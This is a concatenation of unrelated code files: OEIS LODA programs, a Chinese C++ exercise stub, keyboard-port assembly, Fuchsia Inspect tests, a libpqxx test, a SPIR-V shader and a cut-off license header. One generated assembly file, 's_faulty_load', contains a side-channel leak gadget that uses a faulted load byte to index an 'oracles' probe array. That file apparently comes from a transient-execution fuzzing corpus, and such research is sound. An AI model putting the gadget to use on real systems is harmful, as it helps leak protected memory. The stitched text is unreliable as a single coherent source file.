; 0,1,2,4,5,7,8,10,13,14,17,19,20,22,25,28,29,32,34,35,38,40,43,47,49,50,52,53,55,62,64,67,68,73,74,77,80,82,85,88,89,94,95,97,98,104,110,112,113,115,118,119,124,127,130,133,134,137,139,140,145,152,154,155,157,164,167,172,173,175,178,182,185,188,190,193,197,199,203,208,209,214,215,218,220,223,227,229,230,232,238,242,244,248,250,253,259,260,269,272
mov $1,2
mov $2,$0
pow $2,2
lpb $2
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,2
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
sub $0,2
div $0,2
|
; A005055: 7*5^n.
; 7,35,175,875,4375,21875,109375,546875,2734375,13671875,68359375,341796875,1708984375,8544921875,42724609375,213623046875,1068115234375,5340576171875,26702880859375,133514404296875,667572021484375,3337860107421875,16689300537109375,83446502685546875,417232513427734375,2086162567138671875,10430812835693359375,52154064178466796875,260770320892333984375,1303851604461669921875,6519258022308349609375,32596290111541748046875,162981450557708740234375,814907252788543701171875,4074536263942718505859375
mov $1,5
pow $1,$0
mul $1,7
mov $0,$1
|
/*完成下述代码中注释的部分，使程序能读取物品讯息，检查合法性，并在合法时输出总重。*/
/*注意：
1. 不能修改其他部分。
2. 不能有内存泄漏。*/
#include <iostream>
#include <vector>
class Item {
public:
/* 编写构造函数、析构函数 */
virtual int GetWeight() const {
return weight_;
}
virtual bool IsValid() const {
return true;
}
private:
int weight_;
};
class Bag : public Item {
public:
/* 编写构造函数、析构函数及其他函数 */
private:
std::vector<Item*> items_;
int maxWeight_;
};
Bag* Parse() {
/* 编写读入数据的代码 */
}
int main() {
Bag* root = Parse();
if (root->IsValid())
std::cout << root->GetWeight() << std::endl;
else
std::cout << "invalid";
delete root;
} |
GLOBAL hasKey
GLOBAL getKey
section .text
hasKey:
push rbp
mov rbp,rsp
mov rax,0
in al,64h
and al,0x01
leave
ret
getKey:
push rbp
mov rbp,rsp
mov rax,0
in al,60h
leave
ret |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1d7dc, %r10
nop
nop
nop
nop
and $53904, %rcx
movb (%r10), %dl
nop
nop
nop
xor $9531, %rbx
lea addresses_A_ht+0x425c, %rcx
nop
and $9886, %r15
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r11
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0xa804, %rcx
nop
nop
nop
nop
cmp $50706, %rsi
mov (%rcx), %r15d
add %r10, %r10
lea addresses_D_ht+0xe95c, %rsi
nop
nop
nop
nop
xor %rdx, %rdx
movb (%rsi), %cl
sub $1376, %rdx
lea addresses_D_ht+0x1bddc, %rsi
lea addresses_normal_ht+0x107dc, %rdi
nop
nop
nop
nop
and $33476, %r10
mov $34, %rcx
rep movsl
sub $43392, %rdx
lea addresses_D_ht+0x9bdc, %r15
nop
nop
nop
cmp $30543, %rsi
mov (%r15), %edx
nop
nop
nop
xor %r15, %r15
lea addresses_WT_ht+0x18bdc, %r15
nop
nop
nop
nop
mfence
mov (%r15), %r11w
add $29430, %rsi
lea addresses_D_ht+0x16a4, %r11
cmp %rdx, %rdx
mov (%r11), %r15
nop
add $9260, %r10
lea addresses_WC_ht+0x1195c, %r15
nop
nop
inc %r10
movups (%r15), %xmm4
vpextrq $0, %xmm4, %rsi
sub $25332, %rdx
lea addresses_UC_ht+0xa7dc, %rsi
nop
nop
nop
sub %r10, %r10
vmovups (%rsi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdx
nop
nop
nop
inc %rdx
lea addresses_UC_ht+0x1ebdc, %rsi
clflush (%rsi)
add $49580, %r15
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm2
vpextrq $1, %xmm2, %r11
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x6334, %r15
inc %rdx
movl $0x61626364, (%r15)
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_WT_ht+0x42ec, %rsi
lea addresses_WC_ht+0xd5dc, %rdi
nop
nop
add %rdx, %rdx
mov $17, %rcx
rep movsb
nop
nop
nop
nop
nop
and $64131, %rbx
lea addresses_A_ht+0x12aa, %rbx
nop
xor $11066, %rdi
mov (%rbx), %r10
nop
nop
and %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
// Store
lea addresses_WT+0xcd30, %rdi
nop
nop
nop
nop
nop
cmp $32689, %rcx
movw $0x5152, (%rdi)
nop
dec %rbp
// Load
lea addresses_WC+0x1ffdc, %rdi
xor %r10, %r10
movups (%rdi), %xmm1
vpextrq $1, %xmm1, %r9
nop
nop
nop
nop
nop
xor $37564, %r10
// Store
lea addresses_PSE+0x1c04c, %rcx
nop
nop
sub $7996, %r8
mov $0x5152535455565758, %rbp
movq %rbp, %xmm7
movups %xmm7, (%rcx)
nop
and %rcx, %rcx
// Store
lea addresses_PSE+0xf7dc, %rdi
and %rbx, %rbx
movw $0x5152, (%rdi)
and $65201, %rdi
// Store
mov $0x1dc, %r8
clflush (%r8)
nop
nop
nop
nop
nop
inc %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movaps %xmm3, (%r8)
nop
nop
nop
cmp $63848, %r8
// Faulty Load
lea addresses_WC+0x1ffdc, %rbp
nop
nop
and $5813, %r9
mov (%rbp), %edi
lea oracles, %r9
and $0xff, %rdi
shlq $12, %rdi
mov (%r9,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': True, 'size': 2}}
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_P', 'AVXalign': True, 'size': 16}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <fuchsia/inspect/cpp/fidl.h>
#include <lib/async/cpp/executor.h>
#include <lib/gtest/real_loop_fixture.h>
#include <lib/inspect/cpp/inspect.h>
#include <lib/inspect/service/cpp/reader.h>
#include <lib/inspect/service/cpp/service.h>
#include <lib/inspect/testing/cpp/inspect.h>
#include <gmock/gmock.h>
using inspect::Inspector;
namespace {
class InspectServiceTest : public gtest::RealLoopFixture {
public:
InspectServiceTest()
: executor_(dispatcher()),
inspector_(),
handler_(inspect::MakeTreeHandler(&inspector_, dispatcher())) {}
protected:
inspect::Node& root() { return inspector_.GetRoot(); }
fuchsia::inspect::TreePtr Connect() {
fuchsia::inspect::TreePtr ret;
handler_(ret.NewRequest());
return ret;
}
void MakePrivateSnapshotHandler() {
handler_ = inspect::MakeTreeHandler(
&inspector_, dispatcher(),
inspect::TreeHandlerSettings{.snapshot_behavior = inspect::TreeServerSendPreference::Frozen(
inspect::TreeServerSendPreference::Type::DeepCopy)});
}
async::Executor executor_;
private:
Inspector inspector_;
fidl::InterfaceRequestHandler<fuchsia::inspect::Tree> handler_;
};
TEST_F(InspectServiceTest, SingleTree) {
inspect::ValueList values;
root().CreateInt("val", 1, &values);
auto ptr = Connect();
ptr.set_error_handler(
[](zx_status_t status) { ASSERT_TRUE(false) << "Error detected on connection"; });
std::vector<std::string> names;
bool done = false;
fuchsia::inspect::TreeNameIteratorPtr name_iter;
ptr->ListChildNames(name_iter.NewRequest());
executor_.schedule_task(inspect::ReadAllChildNames(std::move(name_iter))
.and_then([&](std::vector<std::string>& promised_names) {
names = std::move(promised_names);
done = true;
}));
RunLoopUntil([&] { return done; });
EXPECT_TRUE(names.empty());
}
TEST_F(InspectServiceTest, SingleTreeGetContentCoW) {
auto val = root().CreateInt("val", 1);
auto ptr = Connect();
ptr.set_error_handler(
[](zx_status_t status) { ASSERT_TRUE(false) << "Error detected on connection"; });
fpromise::result<fuchsia::inspect::TreeContent> content;
ptr->GetContent([&](fuchsia::inspect::TreeContent returned_content) {
content = fpromise::ok(std::move(returned_content));
});
RunLoopUntil([&] { return !!content; });
// copy-on-write -- this value won't appear in VMO obtained over FIDL
val.Add(1);
auto hierarchy = inspect::ReadFromVmo(std::move(content.take_value().buffer().vmo));
ASSERT_TRUE(hierarchy.is_ok());
const inspect::IntPropertyValue* val_prop =
hierarchy.value().node().get_property<inspect::IntPropertyValue>("val");
ASSERT_NE(nullptr, val_prop);
EXPECT_EQ(1, val_prop->value());
}
TEST_F(InspectServiceTest, SingleTreeGetContentPrivate) {
auto val = root().CreateInt("val", 1);
MakePrivateSnapshotHandler();
auto ptr = Connect();
ptr.set_error_handler(
[](zx_status_t status) { ASSERT_TRUE(false) << "Error detected on connection"; });
fpromise::result<fuchsia::inspect::TreeContent> content;
ptr->GetContent([&](fuchsia::inspect::TreeContent returned_content) {
content = fpromise::ok(std::move(returned_content));
});
RunLoopUntil([&] { return !!content; });
val.Add(1);
auto hierarchy = inspect::ReadFromVmo(std::move(content.take_value().buffer().vmo));
ASSERT_TRUE(hierarchy.is_ok());
const inspect::IntPropertyValue* val_prop =
hierarchy.value().node().get_property<inspect::IntPropertyValue>("val");
ASSERT_NE(nullptr, val_prop);
EXPECT_EQ(1, val_prop->value());
}
TEST_F(InspectServiceTest, ListChildNames) {
inspect::ValueList values;
root().CreateLazyNode(
"a", []() { return fpromise::make_result_promise<Inspector>(fpromise::error()); }, &values);
root().CreateLazyNode(
"b", []() { return fpromise::make_result_promise<Inspector>(fpromise::error()); }, &values);
auto ptr = Connect();
ptr.set_error_handler(
[](zx_status_t status) { ASSERT_TRUE(false) << "Error detected on connection"; });
std::vector<std::string> names;
bool done = false;
fuchsia::inspect::TreeNameIteratorPtr name_iter;
ptr->ListChildNames(name_iter.NewRequest());
executor_.schedule_task(inspect::ReadAllChildNames(std::move(name_iter))
.and_then([&](std::vector<std::string>& promised_names) {
names = std::move(promised_names);
done = true;
}));
RunLoopUntil([&] { return done; });
EXPECT_EQ(names, std::vector<std::string>({"a-0", "b-1"}));
}
TEST_F(InspectServiceTest, OpenChild) {
inspect::ValueList values;
root().CreateInt("val", 20, &values);
root().CreateLazyNode(
"valid",
[]() {
Inspector insp;
insp.GetRoot().CreateInt("val", 10, &insp);
return fpromise::make_ok_promise(insp);
},
&values);
root().CreateLazyNode(
"invalid", [] { return fpromise::make_result_promise<Inspector>(fpromise::error()); },
&values);
auto ptr = Connect();
ptr.set_error_handler(
[](zx_status_t status) { ASSERT_TRUE(false) << "Error detected on connection"; });
std::vector<std::string> names;
bool list_done = false;
fuchsia::inspect::TreeNameIteratorPtr name_iter;
fpromise::result<fuchsia::inspect::TreeContent> root, child;
ptr->ListChildNames(name_iter.NewRequest());
executor_.schedule_task(inspect::ReadAllChildNames(std::move(name_iter))
.and_then([&](std::vector<std::string>& promised_names) {
names = std::move(promised_names);
list_done = true;
}));
ptr->GetContent(
[&](fuchsia::inspect::TreeContent content) { root = fpromise::ok(std::move(content)); });
fuchsia::inspect::TreePtr child_ptr;
ptr->OpenChild("valid-0", child_ptr.NewRequest());
child_ptr->GetContent(
[&](fuchsia::inspect::TreeContent content) { child = fpromise::ok(std::move(content)); });
bool read_error_done = false;
bool missing_error_done = false;
fuchsia::inspect::TreePtr read_error_ptr, missing_error_ptr;
read_error_ptr.set_error_handler([&](zx_status_t status) { read_error_done = true; });
missing_error_ptr.set_error_handler([&](zx_status_t status) { missing_error_done = true; });
ptr->OpenChild("invalid-1", read_error_ptr.NewRequest());
ptr->OpenChild("missing", missing_error_ptr.NewRequest());
read_error_ptr->GetContent([](fuchsia::inspect::TreeContent unused) {});
missing_error_ptr->GetContent([](fuchsia::inspect::TreeContent unused) {});
RunLoopUntil([&] {
return list_done && root.is_ok() && child.is_ok() && read_error_done && missing_error_done;
});
EXPECT_EQ(names, std::vector<std::string>({"invalid-1", "valid-0"}));
auto root_hierarchy = inspect::ReadFromVmo(root.take_value().buffer().vmo).take_value();
ASSERT_EQ(1u, root_hierarchy.node().properties().size());
EXPECT_EQ("val", root_hierarchy.node().properties()[0].name());
auto child_hierarchy = inspect::ReadFromVmo(child.take_value().buffer().vmo).take_value();
ASSERT_EQ(1u, child_hierarchy.node().properties().size());
EXPECT_EQ("val", child_hierarchy.node().properties()[0].name());
}
} // namespace
|
; A080398: Largest squarefree number dividing sum of divisors of n.
; 1,3,2,7,6,6,2,15,13,6,6,14,14,6,6,31,6,39,10,42,2,6,6,30,31,42,10,14,30,6,2,21,6,6,6,91,38,30,14,30,42,6,22,42,78,6,6,62,57,93,6,14,6,30,6,30,10,30,30,42,62,6,26,127,42,6,34,42,6,6,6,195,74,114,62,70,6,42,10,186,11,42,42,14,6,66,30,30,30,78,14,42,2,6,30,42,14,57,78,217
seq $0,2659 ; a(n) = 2*sigma(n) - 1.
div $0,2
seq $0,7947 ; Largest squarefree number dividing n: the squarefree kernel of n, rad(n), radical of n.
|
#include "test_helpers.hxx"
// Simple test program for libpqxx. Test string conversion routines.
namespace
{
void test_076()
{
pqxx::connection conn;
pqxx::nontransaction tx{conn};
auto
RFalse = tx.exec1("SELECT 1=0"),
RTrue = tx.exec1("SELECT 1=1");
bool
False = pqxx::from_string<bool>(RFalse[0]),
True = pqxx::from_string<bool>(RTrue[0]);
PQXX_CHECK(not False, "False bool converted to true.");
PQXX_CHECK(True, "True bool converted to false.");
RFalse = tx.exec1("SELECT " + pqxx::to_string(False));
RTrue = tx.exec1("SELECT " + pqxx::to_string(True));
False = pqxx::from_string<bool>(RFalse[0]);
True = pqxx::from_string<bool>(RTrue[0]);
PQXX_CHECK(not False, "False bool converted to true.");
PQXX_CHECK(True, "True bool converted to false.");
const short svals[] = { -1, 1, 999, -32767, -32768, 32767, 0 };
for (int i=0; svals[i]; ++i)
{
short s = pqxx::from_string<short>(pqxx::to_string(svals[i]));
PQXX_CHECK_EQUAL(s, svals[i], "short/string conversion not bijective.");
s = pqxx::from_string<short>(
tx.exec1("SELECT " + pqxx::to_string(svals[i]))[0].c_str());
PQXX_CHECK_EQUAL(s, svals[i], "Roundtrip through backend changed short.");
}
const unsigned short uvals[] = { 1, 999, 32767, 32768, 65535, 0 };
for (int i=0; uvals[i]; ++i)
{
unsigned short u = pqxx::from_string<unsigned short>(
pqxx::to_string(uvals[i]));
PQXX_CHECK_EQUAL(
u,
uvals[i],
"unsigned short/string conversion not bijective.");
u = pqxx::from_string<unsigned short>(
tx.exec1("SELECT " + pqxx::to_string(uvals[i]))[0].c_str());
PQXX_CHECK_EQUAL(
u,
uvals[i],
"Roundtrip through backend changed unsigned short.");
}
}
} // namespace
PQXX_REGISTER_TEST(test_076);
|
; A186145: Rank of n^2 when {i^2: i>=1} and {j^3>: j>=1} are jointly ranked with i^2 before j^3 when i^2=j^3. Complement of A186146.
; 1,3,5,6,7,9,10,11,13,14,15,17,18,19,21,22,23,24,26,27,28,29,31,32,33,34,35,37,38,39,40,42,43,44,45,46,48,49,50,51,52,54,55,56,57,58,60,61,62,63,64,65,67,68,69,70,71,72,74,75,76,77,78,79,81,82,83,84,85,86,88,89,90,91,92,93,95,96,97,98,99,100,102,103,104,105,106,107,108,110,111,112,113,114,115,116,118,119,120,121
mov $9,$0
mov $11,$0
add $11,1
lpb $11
mov $0,$9
sub $11,1
sub $0,$11
mov $5,$0
mov $7,2
lpb $7
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
add $1,1
add $0,$1
pow $0,2
sub $0,1
cal $0,48766 ; Integer part of cube root of n. Or, number of cubes <= n. Or, n appears 3n^2 + 3n + 1 times.
mov $1,$0
mov $8,$7
lpb $8
mov $6,$1
sub $8,1
lpe
lpe
lpb $5
mov $5,0
sub $6,$1
lpe
mov $1,$6
add $1,1
add $10,$1
lpe
mov $1,$10
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 101
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %82
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %8 "_GLF_global_loop_count"
OpName %12 "f"
OpName %16 "buf1"
OpMemberName %16 0 "_GLF_uniform_float_values"
OpName %18 ""
OpName %23 "r"
OpName %26 "buf0"
OpMemberName %26 0 "_GLF_uniform_int_values"
OpName %28 ""
OpName %47 "buf2"
OpMemberName %47 0 "injectionSwitch"
OpName %49 ""
OpName %82 "_GLF_color"
OpDecorate %15 ArrayStride 16
OpMemberDecorate %16 0 Offset 0
OpDecorate %16 Block
OpDecorate %18 DescriptorSet 0
OpDecorate %18 Binding 1
OpDecorate %25 ArrayStride 16
OpMemberDecorate %26 0 Offset 0
OpDecorate %26 Block
OpDecorate %28 DescriptorSet 0
OpDecorate %28 Binding 0
OpMemberDecorate %47 0 Offset 0
OpDecorate %47 Block
OpDecorate %49 DescriptorSet 0
OpDecorate %49 Binding 2
OpDecorate %82 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypePointer Private %6
%8 = OpVariable %7 Private
%9 = OpConstant %6 0
%10 = OpTypeFloat 32
%11 = OpTypePointer Function %10
%13 = OpTypeInt 32 0
%14 = OpConstant %13 2
%15 = OpTypeArray %10 %14
%16 = OpTypeStruct %15
%17 = OpTypePointer Uniform %16
%18 = OpVariable %17 Uniform
%19 = OpTypePointer Uniform %10
%22 = OpTypePointer Function %6
%24 = OpConstant %13 3
%25 = OpTypeArray %6 %24
%26 = OpTypeStruct %25
%27 = OpTypePointer Uniform %26
%28 = OpVariable %27 Uniform
%29 = OpConstant %6 1
%30 = OpTypePointer Uniform %6
%39 = OpConstant %6 2
%42 = OpTypeBool
%46 = OpTypeVector %10 2
%47 = OpTypeStruct %46
%48 = OpTypePointer Uniform %47
%49 = OpVariable %48 Uniform
%50 = OpTypePointer Uniform %46
%54 = OpConstant %13 1
%66 = OpConstant %6 100
%80 = OpTypeVector %10 4
%81 = OpTypePointer Output %80
%82 = OpVariable %81 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%12 = OpVariable %11 Function
%23 = OpVariable %22 Function
OpStore %8 %9
%20 = OpAccessChain %19 %18 %9 %9
%21 = OpLoad %10 %20
OpStore %12 %21
%31 = OpAccessChain %30 %28 %9 %29
%32 = OpLoad %6 %31
OpStore %23 %32
OpBranch %33
%33 = OpLabel
OpLoopMerge %35 %36 None
OpBranch %37
%37 = OpLabel
%38 = OpLoad %6 %23
%40 = OpAccessChain %30 %28 %9 %39
%41 = OpLoad %6 %40
%43 = OpSLessThan %42 %38 %41
OpBranchConditional %43 %34 %35
%34 = OpLabel
%44 = OpLoad %6 %8
%45 = OpIAdd %6 %44 %29
OpStore %8 %45
%51 = OpAccessChain %50 %49 %9
%52 = OpLoad %46 %51
%53 = OpDPdx %46 %52
%55 = OpCompositeExtract %10 %53 1
%56 = OpLoad %10 %12
%57 = OpFAdd %10 %56 %55
OpStore %12 %57
OpBranch %36
%36 = OpLabel
%58 = OpLoad %6 %23
%59 = OpIAdd %6 %58 %29
OpStore %23 %59
OpBranch %33
%35 = OpLabel
OpBranch %60
%60 = OpLabel
OpLoopMerge %62 %63 None
OpBranch %64
%64 = OpLabel
%65 = OpLoad %6 %8
%67 = OpSLessThan %42 %65 %66
OpBranchConditional %67 %61 %62
%61 = OpLabel
%68 = OpLoad %6 %8
%69 = OpIAdd %6 %68 %29
OpStore %8 %69
%70 = OpAccessChain %19 %18 %9 %9
%71 = OpLoad %10 %70
%72 = OpLoad %10 %12
%73 = OpFAdd %10 %72 %71
OpStore %12 %73
OpBranch %63
%63 = OpLabel
OpBranch %60
%62 = OpLabel
%74 = OpLoad %10 %12
%75 = OpAccessChain %19 %18 %9 %29
%76 = OpLoad %10 %75
%77 = OpFOrdEqual %42 %74 %76
OpSelectionMerge %79 None
OpBranchConditional %77 %78 %96
%78 = OpLabel
%83 = OpAccessChain %30 %28 %9 %9
%84 = OpLoad %6 %83
%85 = OpConvertSToF %10 %84
%86 = OpAccessChain %30 %28 %9 %29
%87 = OpLoad %6 %86
%88 = OpConvertSToF %10 %87
%89 = OpAccessChain %30 %28 %9 %29
%90 = OpLoad %6 %89
%91 = OpConvertSToF %10 %90
%92 = OpAccessChain %30 %28 %9 %9
%93 = OpLoad %6 %92
%94 = OpConvertSToF %10 %93
%95 = OpCompositeConstruct %80 %85 %88 %91 %94
OpStore %82 %95
OpBranch %79
%96 = OpLabel
%97 = OpAccessChain %30 %28 %9 %29
%98 = OpLoad %6 %97
%99 = OpConvertSToF %10 %98
%100 = OpCompositeConstruct %80 %99 %99 %99 %99
OpStore %82 %100
OpBranch %79
%79 = OpLabel
OpReturn
OpFunctionEnd
|
; A169291: Number of reduced words of length n in Coxeter group on 38 generators S_i with relations (S_i)^2 = (S_i S_j)^29 = I.
; 1,38,1406,52022,1924814,71218118,2635070366,97497603542,3607411331054,133474219248998,4938546112212926,182726206151878262,6760869627619495694,250152176221921340678,9255630520211089605086
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,37
lpe
mov $0,$2
div $0,37
|
; A000218: Take sum of squares of digits of previous term; start with 3.
; Submitted by Christian Krause
; 3,9,81,65,61,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4,16,37,58,89,145,42,20,4
mov $9,$0
sub $0,5
mod $0,8
mov $1,$0
mov $2,$0
mov $3,$0
mov $4,$0
mov $5,$0
mov $6,$0
mov $7,$0
mov $8,$0
mov $0,0
cmp $8,0
mul $8,37
add $0,$8
cmp $1,1
mul $1,58
add $0,$1
cmp $2,2
mul $2,89
add $0,$2
cmp $3,3
mul $3,145
add $0,$3
cmp $4,4
mul $4,42
add $0,$4
cmp $5,5
mul $5,20
add $0,$5
cmp $6,6
mul $6,4
add $0,$6
cmp $7,7
mul $7,16
add $0,$7
mov $1,$9
cmp $1,0
mul $1,3
add $0,$1
mov $1,$9
cmp $1,1
mul $1,9
add $0,$1
mov $1,$9
cmp $1,2
mul $1,81
add $0,$1
mov $1,$9
cmp $1,3
mul $1,65
add $0,$1
mov $1,$9
cmp $1,4
mul $1,61
add $0,$1
|
// Copyright 2012 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
